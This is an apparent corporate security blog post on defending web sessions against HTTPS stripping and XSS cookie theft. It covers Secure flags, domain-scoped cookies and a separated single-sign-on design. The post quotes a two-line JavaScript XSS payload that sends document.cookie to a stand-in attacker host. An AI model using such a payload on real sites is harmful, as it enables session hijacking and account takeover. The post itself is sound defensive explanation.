In the beginning…
The enemy never sleeps
As our company grew, user accounts became desired prey for wrong-doers of all sorts. The first to come just used brute force. These intruders did nothing but brute-forced user passwords in search of people who memorialized their date of birth or pet name. Then the phishers were not long to follow, sending portal users emails similar to ones they received from Mail.Ru. These messages contained either links to sites that pretended to be the portal’s authentication point or used other methods to phish passwords from users.
We don’t sleep either
To fight phishers and brute-forcers, antispam and security teams were called in to action. The technology and user education eventually yielded fruit, and security breaches declined considerably. (Although weak passwords and human gullibility are the main factors aiding hackers even as we speak today — but that’s for another article, folks.) After a little while this business started making real money, and the small fries were joined by sharks, some of whom sought out vulnerabilities in the web services and used them to gain access to user accounts. To add insult to injury, they also found ways to listen to the traffic between the user’s computer and our services. The target of all this illegal activity was the user authentication session — in other words, the portal’s authentication cookie.
Is HTTPS always HTTPS?
But what happens if a hacker located somewhere between the server and browser forces the user’s browser visit the portal site via an insecure protocol? To make this happen, it is enough to intercept any HTTP-response sent to a user in a non-encrypted form and add an image to it with the correct address:
HTTPS stripping attack
The hacker thus forces the user’s browser to visit the portal via an insecure connection. As shown in the diagram, the session_id cookie is automatically sent to the portal server over a non-encrypted connection, and sure enough, it is low hanging fruit for a hacker to intercept. After that, they can use the account as easily as if they knew the actual password. To prevent this the server can flag the cookie as secure. It will signal the browser that the cookie should be sent to the server only if the connection uses the HTTPS protocol. The cookie is flagged as follows: HTTP/1.1 200 OK Content-type: text/html Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; secure This is an important point to take into account when configuring HTTPS on the server: setting a Secure flag for authentication cookies is an absolute must for modern web services. This is even more true if you have a big portal. If there is centralized authentication, using HTTP for a service in the portal’s domain gives the green light to anyone seeking to bypass HTTPS. However, even if everything is behind HTTPS and resistant to traffic interception, there is still always the risk of exploiting web service vulnerabilities, e. g. XSS. This forces companies to either scrap common authentication altogether, or choose another way (which we get into here later).
Another protection against HTTPS stripping attack is HSTS with HSTS preload, it requires all subdomains to support HTTPS, and it’s a different story.
“Cross-site scripting (or XSS) may be used, inter alia, to bypass access controls or steal user credentials,” according to a translation of the Russian Wikipedia article. When an attacker exploits XSS vulnerabilities, the authentication cookie is what they are after in most cases, which they can use to access the user’s account. To hijack a user session, hackers typically use a JS code similar to this one:
var іmg = new Image();
іmg.src = ‘http://hacker.site/xss-sniffer.php?’ + document.cookie;
As you can recall, to ensure end-to-end authentication for all our company services we used to use a single authentication cookie set at the second-level domain. A common authentication cookie is more than just convenient for users; it is also a way to gain access to all services at once through just a single vulnerability in the code of any of the company’s projects. Thus, by stealing the authentication cookie from the a-site-with-common-authentication.example.com service, we gain access to b-site-with-common-authentication.example.com. Traffic sniffing works in a similar way unless secure cookies are used. If one company service is secure and uses HTTPS while another uses HTTP, all you have to do is instruct the browser to call to the less secure service, steal the authentication cookie and use it for authentication in the secure service. Now to address this issue, cookies are added with the domain attribute: HTTP/1.1 200 OK Content-type: text/html Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; domain=a.example.com; secure This cookie will now be sent by the browser only in response to queries for the a.company.com domain and its subdomains. When using domain-specific cookies, if any one service has a vulnerability, it will be the only one to come under attack. This is true for both XSS and other vulnerabilities.
So we have converted our most critical services to HTTPS, introduced domain-specific cookies, searched for and eliminated vulnerabilities, and generally are trying to protect ourselves and our users from every angle. But what about still providing single authentication? To do this in our diverse environment with co-existing HTTP and HTTPS, we introduced additional domain-specific cookies as extra security measures for each and every project. In addition to the legacy main authentication cookie (Mpop), an additional cookie (sdc) is also set for the project’s domain. User authentication will be valid only if both cookies — Mpop and the intradomain sdc cookie — are present.
SDC (Secure Domain Cookie) authentication process on project page
The session separation mechanism at Mail.Ru works as follows: user authentication always occurs via a single sign-on point, auth.mail.ru, which requires a login and password (and potentially second factor) and issues a domain cookie .auth.mail.ru with Secure and HttpOnly flags. None of the projects have access to the user’s login and password. The .auth.mail.ru cookie is also unavailable to any of the projects. When a user visits a project site he has not yet signed in, his request will be forwarded to the authentication point, which authenticates him by the .auth.mail.ru cookie, generates a one-time token and redirects to the project’s listener page with this token. The project’s listener proxies the token to the authentication point, which uses it to generate a project cookie, this time for .project.mail.ru. This way you retain all the advantages of the portal’s single authentication, with separate authenticated access to different resources provided in a user-transparent manner. Separated sessions are a small but critical step in the overall concept of separation of access we are all so dedicated to. Separation of access allows us to protect our resources in a more consistent manner, without relying solely on the “outer circuit” — even if an attacker manages to hijack a session on one of the resources or compromise it in some other way, the damage sustained by the user will be minimal. In addition to separate sessions, there are also other separated access techniques invisible to users (which is pretty cool!). But we’ll save that for another post. To recap, we can conclude that even services united on a common platform must (under the hood) go their separate ways, and we are currently applying this approach on our own portal. We are certain that very soon other companies in Russia will follow suit, and a considerable portion of cyber criminals will find themselves suddenly out of work.
The enemy shall not pass!